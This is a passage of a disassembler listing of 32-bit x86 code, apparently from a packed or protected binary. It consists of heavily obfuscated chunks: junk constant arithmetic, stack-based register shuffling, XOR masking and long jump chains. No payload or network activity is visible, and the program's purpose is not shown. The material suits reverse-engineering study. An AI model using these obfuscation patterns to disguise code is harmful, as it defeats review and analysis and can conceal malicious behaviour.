		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_59C7A6
; ---------------------------------------------------------------------------


loc_5A5D9E:				; CODE XREF: sub_5AA2D1-D786j
		and	ebp, 3DE34C43h
		shl	ebp, 8
		and	ebp, 48A31E6Dh
		push	ecx
		mov	ecx, 27746F2Dh
		add	ecx, 59CA47D4h
		shr	ecx, 7
		neg	ecx
		jmp	loc_5AC369
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A5DC3:				; CODE XREF: sub_59D6B8-3DD3j
					; sdfs____:0059E8A8j
		push	ecx
		mov	ecx, 53082E36h
		shl	ecx, 2
		jmp	loc_5AA82F
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5DD1:				; CODE XREF: sub_5AA2D1+2E1Bj
		jz	loc_5A678B
		sub	dl, 0CDh
		add	dl, 56h
		push	dx
		mov	dl, 1Fh
		sub	al, dl
		jmp	loc_5AE46C
; ---------------------------------------------------------------------------


loc_5A5DE8:				; CODE XREF: sub_5AA2D1-267Cj
		mov	dx, word ptr [esp+6+var_8+2]
		push	5E4Ah
		mov	[esp+0Ah+var_C+2], edx
		push	esp
		pop	edx
		push	357Ch
		mov	[esp+0Eh+var_10+2], ecx
		mov	ecx, 5676EA5h
		sub	ecx, 6E9D6838h
		jmp	loc_59ECCB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A5E0E:				; CODE XREF: sub_5B01F7-B20Aj
		and	ebp, edx
		jmp	loc_5AF37F
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5E15:				; CODE XREF: sub_5AA2D1:loc_59D4B9j
		jmp	loc_59CC3B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5998AD


loc_5A5E1A:				; CODE XREF: sub_5998AD+111j
		push	1487h
		mov	[esp+10h+var_10], eax
		jmp	loc_5A5533
; END OF FUNCTION CHUNK	FOR sub_5998AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A5E27:				; CODE XREF: sub_59A7E7+39ADj
		push	edx
		mov	edx, 3CF16138h
		shr	edx, 1
		or	edx, 386D4DD5h
		jmp	loc_5A4901
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DE4B


loc_5A5E3A:				; CODE XREF: sub_59DE4B+3C36j
		sub	ebp, edx
		jmp	loc_59E7A0
; END OF FUNCTION CHUNK	FOR sub_59DE4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEC1C


loc_5A5E41:				; CODE XREF: sub_5AEC1C+13j
		mov	bh, 0B6h
		mov	ah, bh
		pop	ebx
		and	ah, 0D2h
		shr	ah, 2
		xor	ah, 9
		shr	ah, 3
		inc	ah
		add	ah, 87h
		mov	dh, ah
		pop	eax
		inc	dh
		jmp	loc_5A9661
; END OF FUNCTION CHUNK	FOR sub_5AEC1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A355D


loc_5A5E61:				; CODE XREF: sub_5A355D+C852j
		add	ebx, 4
		jmp	loc_5AE23C
; END OF FUNCTION CHUNK	FOR sub_5A355D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A5E6C:				; CODE XREF: sub_59CBE1+13C0j
		push	4F94h
		jmp	loc_5A772A
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5E76:				; CODE XREF: sub_5AA2D1-21F4j
		mov	edx, 2427719Bh
		sub	edx, 1A233D75h
		push	edx
		not	[esp+0Ah+var_C+2]
		pop	edx
		shl	edx, 5
		add	edx, 1
		sub	edx, 5291A36h
		add	ebp, edx
		jmp	loc_5ACA71
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FE51


loc_5A5E9C:				; CODE XREF: sub_59FE51-5E3Fj
					; sub_59A4E8+DB8j
		pop	ebx
		jmp	loc_5A46F9
; END OF FUNCTION CHUNK	FOR sub_59FE51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A5EA2:				; CODE XREF: sub_5992DA:loc_5AC461j
		xor	ch, 0B2h
		jnp	loc_5AFF33
		add	ch, 66h
		jmp	loc_59EC18
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
		mov	ebx, [esp]
; START	OF FUNCTION CHUNK FOR sub_5A18F6


loc_5A5EB6:				; CODE XREF: sub_5A18F6+8037j
		neg	edx
		jnz	loc_5A3EDA
		and	edx, 215A5A8Eh
		jmp	loc_5A6AD8
; END OF FUNCTION CHUNK	FOR sub_5A18F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5A5EC9:				; CODE XREF: sub_5A913B-6574j
		xor	ecx, edi
		pop	edi
		add	edi, ecx
		pop	ecx
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		jmp	loc_5AB082
; END OF FUNCTION CHUNK	FOR sub_5A913B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A5EDE:				; CODE XREF: sub_5A2E28-1B1Ej
		add	esi, 4606C15Bh
		mov	ebx, esi
		pop	esi
		add	ebx, eax
		mov	ecx, [ebx]
		pop	ebx
		pop	eax
		push	edi
		push	edi
		jmp	loc_5A139A
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB66


loc_5A5EF4:				; CODE XREF: sub_5AAB66-E6BBj
		add	esi, 4
		jmp	loc_5AE70E
; END OF FUNCTION CHUNK	FOR sub_5AAB66

; =============== S U B	R O U T	I N E =======================================



sub_5A5EFF	proc near		; CODE XREF: sub_5AE40A-7EA1j

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059A0BE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A183 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059AA1B SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0059AEEE SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0059B565 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059B712 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059BCFA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059C607 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059CC7F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059D716 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059DC67 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E56D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059E586 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059E61C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059E63A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E6A4 SIZE 00000063 BYTES
; FUNCTION CHUNK AT 0059E9DF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059F78B SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059F87A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059FD2D SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A1277 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A22D3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A249B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A25C7 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4505 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 005A50E5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A5340 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A60D7 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A688E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A6BD3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A7A13 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A89D9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005A8D9A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A9D92 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AA20B SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005AA5B7 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005AB0CA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC3DB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AC5B2 SIZE 0000004A BYTES
; FUNCTION CHUNK AT 005ADACB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 005AEB6A SIZE 0000004F BYTES
; FUNCTION CHUNK AT 005AF2C1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AF661 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005AFA7E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005B0342 SIZE 00000019 BYTES

		sub	esp, 4
		mov	[esp+8+var_8], esp
		add	[esp+8+var_8], 4
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], edx
		mov	edx, 598F1DC2h
		sub	esp, 4
		jmp	loc_5A249B
sub_5A5EFF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A5F2B:				; CODE XREF: sub_59C979+54C0j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, dword ptr [esp+2+var_2]
		mov	esp, dword ptr [esp+2+var_2]
		push	ebx
		push	dword ptr [esp+6+var_2]
		jmp	loc_5AA602
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------


loc_5A5F47:				; CODE XREF: sdfs____:0059A6D9j
		neg	eax
		push	ebx
		mov	ebx, 2FC353FFh
		and	ebx, 0AB607C2h
		xor	ebx, 0EA63F420h
		xor	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5A1187
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A5F65:				; CODE XREF: sub_5AA2D1:loc_5A82CEj
		shr	ecx, 2
		not	ecx
		sub	ecx, 0C638BB3Ch
		jmp	loc_5ABF4E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB762


loc_5A5F75:				; CODE XREF: sub_5AB762+Bj
		add	[esp+8+var_8], 4
		mov	esi, [esp+8+var_8]
		jmp	loc_5ACD1B
; END OF FUNCTION CHUNK	FOR sub_5AB762
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A5F84:				; CODE XREF: sub_5992DA+D4FAj
		pop	edi
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebx
		jmp	loc_5A9CCF
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A77D5


loc_5A5F94:				; CODE XREF: sub_5A77D5-4510j
		pop	eax
		and	edx, 5F2A1CD3h
		xor	edx, 5577237Eh
		jmp	loc_5AD956
; END OF FUNCTION CHUNK	FOR sub_5A77D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A491A


loc_5A5FA6:				; CODE XREF: sub_5A491A+3j
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_5A7E44
; END OF FUNCTION CHUNK	FOR sub_5A491A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A5FBC:				; CODE XREF: sub_5A2E41+5037j
		and	ebx, 5A1F59BBh
		jnz	loc_5A5141
		jmp	loc_5B0124
; END OF FUNCTION CHUNK	FOR sub_5A2E41
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, 10F64236h
		mov	edx, ebp
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A5FD5:				; CODE XREF: sub_5A6BBC-B0CAj
		pop	esi
		add	eax, 2
		push	eax
		jmp	loc_5AE17D
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAB66


loc_5A5FDF:				; CODE XREF: sub_5AAB66-8D8Dj
		xor	ebp, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esp
		add	dword ptr [esp+0], 4
		mov	edx, [esp+0]
		add	esp, 4
		push	17h
		mov	[esp+0], esi
		mov	esi, 4
		jmp	loc_5AA1F8
; END OF FUNCTION CHUNK	FOR sub_5AAB66
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD6D4


loc_5A6005:				; CODE XREF: sub_5AD6D4-B289j
		sub	ecx, eax
		pop	eax
		jmp	loc_5AD8A9
; END OF FUNCTION CHUNK	FOR sub_5AD6D4

; =============== S U B	R O U T	I N E =======================================



sub_5A600D	proc near		; DATA XREF: sdfs____:00598F20o

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599303 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00599B82 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059A20B SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059C851 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059CE93 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059E470 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059E7DA SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059F61B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A12A8 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A37C4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A4775 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A4DC5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A8F18 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A9AD3 SIZE 00000010 BYTES

		lodsb
		sub	al, 0DEh
		jmp	loc_59F61B
sub_5A600D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6015:				; CODE XREF: sub_5AA2D1-2866j
		and	ebp, edi
		pop	edi
		dec	ebp
		not	ebp
		push	edi
		jmp	loc_5ACEB1
; ---------------------------------------------------------------------------


loc_5A6021:				; CODE XREF: sub_5AA2D1-DB4Fj
		jmp	loc_5AFA68
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ED98


loc_5A6026:				; CODE XREF: sub_59ED98+3154j
		sub	al, 0B2h
		jmp	loc_5AB648
; END OF FUNCTION CHUNK	FOR sub_59ED98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A54C9


loc_5A602D:				; CODE XREF: sub_5A54C9-9D85j
		push	0
		sub	[esp+8+var_8], ebp
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		shr	ebp, 3
		add	ebp, 4A74130Ch
		push	ecx
		mov	ecx, 40D85106h
		and	ecx, 6B9409AAh
		sub	ecx, 6B990170h
		jmp	loc_5A1149
; END OF FUNCTION CHUNK	FOR sub_5A54C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A605B:				; CODE XREF: sub_5AA2D1-9591j
		push	edi
		mov	edi, 26866209h
		xor	edx, edi
		pop	edi
		inc	edx
		jmp	loc_5AB340
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A913B


loc_5A606A:				; CODE XREF: sub_5A913B-A095j
		push	edx
		mov	edx, 52417511h
		dec	edx
		jge	loc_5A2416
		shl	edx, 4
		jp	loc_59BD1A
		shl	edx, 5
		and	al, 0D8h
; END OF FUNCTION CHUNK	FOR sub_5A913B
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A6085:				; CODE XREF: sub_5A2E28-55C7j
					; sub_5A477C+32E5j
		dec	ecx
		jmp	loc_59BBB0
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599D0E


loc_5A608B:				; CODE XREF: sub_599D0E+3j
		mov	[esp+0], ebx
		mov	ebx, 4
		add	eax, 7C3A5B80h
		jmp	loc_59EABA
; END OF FUNCTION CHUNK	FOR sub_599D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5A609D:				; CODE XREF: sub_59A9E9:loc_5B03C6j
		inc	ecx
		jnz	loc_5A97C1
		push	esi
		mov	esi, 976C5B2Ah
		add	ecx, esi
		pop	esi
		mov	ebx, ecx
		mov	cl, bl
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; START	OF FUNCTION CHUNK FOR sub_5A12F5


loc_5A60B1:				; CODE XREF: sub_5A12F5+11A1j
		add	esp, 4
		sub	esp, 4
		jmp	loc_5AFA76
; END OF FUNCTION CHUNK	FOR sub_5A12F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A809B


loc_5A60BC:				; CODE XREF: sub_5A809B+7103j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A68D7
; END OF FUNCTION CHUNK	FOR sub_5A809B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59993B


loc_5A60CC:				; CODE XREF: sub_59993B+BCECj
		and	ecx, 374C4B39h
		jmp	loc_59DE0D
; END OF FUNCTION CHUNK	FOR sub_59993B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A5EFF


loc_5A60D7:				; CODE XREF: sub_5A5EFF-A97Cj
		pop	edi
		sub	edx, eax
		pop	eax
		push	edx
		jmp	loc_5AC370
; END OF FUNCTION CHUNK	FOR sub_5A5EFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5A60E1:				; CODE XREF: sub_5AF2D9-14240j
		mov	eax, 9F8DB1F3h
		xor	ecx, eax
		pop	eax
		sub	ebp, ecx
		pop	ecx
		add	ebp, ebx
		jmp	loc_5AFB27
; END OF FUNCTION CHUNK	FOR sub_5AF2D9

; =============== S U B	R O U T	I N E =======================================



sub_5A60F3	proc near		; DATA XREF: sdfs____:00598FFCo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005A2E2E SIZE 00000013 BYTES

		mov	ax, [esp+0]
		push	113Fh
		mov	[esp+4+var_4], edi
		push	edx
		jmp	loc_5A2E2E
sub_5A60F3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7BA0


loc_5A6105:				; CODE XREF: sub_5A7BA0-115Fj
		push	5BD9h
		mov	[esp+0], ecx
		push	0DEE51FBh
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		add	ecx, 61F25AEAh
		jmp	loc_59E03D
; END OF FUNCTION CHUNK	FOR sub_5A7BA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E333


loc_5A6126:				; CODE XREF: sub_59E333+BE53j
		push	ecx
		mov	ecx, ebp
		mov	esi, ecx
		jmp	loc_5A354A
; END OF FUNCTION CHUNK	FOR sub_59E333
; ---------------------------------------------------------------------------


loc_5A6130:				; CODE XREF: sdfs____:005AA731j
		mov	ah, bh
		pop	ebx
		pop	cx
		jmp	loc_5AAC17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BA35


loc_5A613A:				; CODE XREF: sub_59BA35+10886j
		mov	[esp+8+var_8], eax
		xor	[esp+8+var_8], 0D1228D6h
		mov	ebp, [esp+8+var_8]
		add	esp, 4
		xor	ebp, 0D1228D6h
		pop	eax
		jmp	sub_5A8215
; END OF FUNCTION CHUNK	FOR sub_59BA35
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


loc_5A6156:				; CODE XREF: sub_59F1C3+2Bj
		mov	[esp+0], ebx
		push	eax
		jmp	loc_5A742A
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A615F:				; CODE XREF: sub_5AA2D1-2EEj
		pop	eax
		add	esp, 4
		xor	esi, [esp-4+arg_0]
		xor	[esp-4+arg_0], esi
		xor	esi, [esp-4+arg_0]
		jmp	loc_5AC174
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5A6174:				; CODE XREF: sub_59F02F+FB25j
		add	esi, 4
		jmp	loc_5A9711
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A617C:				; CODE XREF: sub_5992DA+D872j
		ja	loc_5AE7C3
		sub	eax, 0CB287027h
		mov	esi, eax
		pop	eax
		add	eax, esi
		pop	esi
		jmp	loc_59D343
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CBE1


loc_5A6192:				; CODE XREF: sub_59CBE1+112ACj
		sub	esi, 0FFFFFFFFh
		jmp	loc_5A2F9A
; END OF FUNCTION CHUNK	FOR sub_59CBE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A619A:				; CODE XREF: sub_59A26C+152C2j
		pop	esp
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A7E7


loc_5A61A0:				; CODE XREF: sub_59A7E7-C86j
		mov	bh, 54h
		push	edx
		mov	dl, 2
		sub	dl, 76h
		shl	dl, 1
		jmp	loc_5AEE6D
; END OF FUNCTION CHUNK	FOR sub_59A7E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A61AF:				; CODE XREF: sub_5B01F7-2399j
		xchg	ecx, [esp+1Ch+var_1C]
		jmp	loc_5A49F2
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A61B7:				; CODE XREF: sub_5A2E28-9CD6j
		add	esi, 24497642h
		js	loc_5A893C
		shr	esi, 6
		jnp	loc_599B66
		sub	esi, 470B5CBCh
		mov	ah, 0ECh
		push	ecx
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A61D6:				; CODE XREF: sub_5A6BBC-81A5j
		add	bl, dl
		pop	dx
		sub	bl, cl
		sub	bl, 23h
		pop	ecx
		push	7372h
		mov	[esp+4+var_4], eax
		push	3FCh
		mov	eax, [esp+8+var_8]
		add	esp, 4
		jmp	loc_59C02B
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7746


loc_5A61FB:				; CODE XREF: sub_5A7746-574Aj
		push	78D8h
		mov	[esp-4+arg_0], ebx
		push	ecx
		mov	ecx, 661F06B3h
		jmp	loc_5A9EEA
; END OF FUNCTION CHUNK	FOR sub_5A7746
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A620E:				; CODE XREF: sub_5992DA+10B01j
		pop	ebp
		jmp	loc_59990C
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE0D


loc_5A6214:				; CODE XREF: sub_5ABE0D+40j
		jmp	loc_59B402
; END OF FUNCTION CHUNK	FOR sub_5ABE0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A10E3


loc_5A6219:				; CODE XREF: sub_5A10E3+DB8j
		push	eax
		jmp	loc_59D421
; END OF FUNCTION CHUNK	FOR sub_5A10E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A26C


loc_5A621F:				; CODE XREF: sub_5A522E+1C3Aj
					; sub_59A26C+F0F9j
		add	ebx, 278D101Fh
		sub	ebx, esi
		sub	ebx, 278D101Fh
		pop	esi
		mov	esi, ebx
		jmp	loc_5A38CC
; END OF FUNCTION CHUNK	FOR sub_59A26C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A6235:				; CODE XREF: sub_5AA2D1-5FFBj
		mov	ebx, 73F6144Ch
		jmp	loc_59DF7D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A623F:				; CODE XREF: sub_5A0AA2+9D02j
		mov	esi, 0F27119C7h
		add	edi, esi
		jmp	loc_5A3BD3
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A624B:				; CODE XREF: sub_59D6B8+968Aj
		push	[esp+8+var_8]
		push	[esp+0Ch+var_C]
		pop	ecx
		add	esp, 4
		push	199Dh
		mov	[esp+0Ch+var_C], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	eax
		jmp	loc_5A4229
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A6277:				; CODE XREF: sub_5A6BBC+12j
		mov	esi, esp
		add	esi, 4
		jmp	loc_59D866
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AD243


loc_5A6284:				; CODE XREF: sub_5AD243+Bj
		sub	eax, ebp
		pop	ebp
		sub	eax, 30F8614Bh
		jo	loc_59A63F
		jmp	loc_5994C3
; END OF FUNCTION CHUNK	FOR sub_5AD243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A6297:				; CODE XREF: sub_59EE3E+97B7j
		shr	ebx, 4
		jnp	loc_5AB442
		add	ebx, 1F06FFEAh
		jmp	loc_5A05A1
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2E28


loc_5A62AB:				; CODE XREF: sub_5A2E28:loc_59A328j
		jmp	loc_59D84F
; END OF FUNCTION CHUNK	FOR sub_5A2E28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E325


loc_5A62B0:				; CODE XREF: sub_59E325+7452j
		xchg	edi, [esp-4+arg_0]
		jmp	loc_5AF499
; END OF FUNCTION CHUNK	FOR sub_59E325
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0FFF


loc_5A62B8:				; CODE XREF: sub_5A0FFF+A01Cj
		mov	ebp, 558469DAh
		not	ebp
		jmp	loc_5A4462
; END OF FUNCTION CHUNK	FOR sub_5A0FFF

; =============== S U B	R O U T	I N E =======================================



sub_5A62C4	proc near		; CODE XREF: sub_59C656+1122Dj

var_8		= dword	ptr -8

		push	ebx
		push	ebp
		xor	[esp+8+var_8], 59C36BE2h
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		xor	ebx, 59C36BE2h
		jmp	sub_59F967
sub_5A62C4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5B01F7


loc_5A62DE:				; CODE XREF: sub_5B01F7-1199Bj
		sub	edx, 5A4F8761h
		mov	ecx, edx
		pop	edx
		jmp	loc_5A6835
; END OF FUNCTION CHUNK	FOR sub_5B01F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A62EC:				; CODE XREF: sub_5A118F-2100j
		xchg	cl, ah
		not	cl
		xchg	cl, ah
		xchg	ah, dh
		jmp	loc_5A9EA9
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5992DA


loc_5A62F9:				; CODE XREF: sub_5992DA+3EF2j
		add	edx, 4
		xchg	edx, [esp+24h+var_26+2]
		mov	esp, [esp+24h+var_26+2]
		sub	esp, 4
		mov	[esp+28h+var_2A+2], eax
		sub	esp, 4
		mov	[esp+2Ch+var_2E+2], ebx
		push	2DACh
		mov	[esp+30h+var_32+2], esi
		mov	esi, 2A48175Fh
		jmp	loc_5A8274
; END OF FUNCTION CHUNK	FOR sub_5992DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF18F


loc_5A6326:				; CODE XREF: sub_5AF18F+6j
		mov	[esp+0], edi
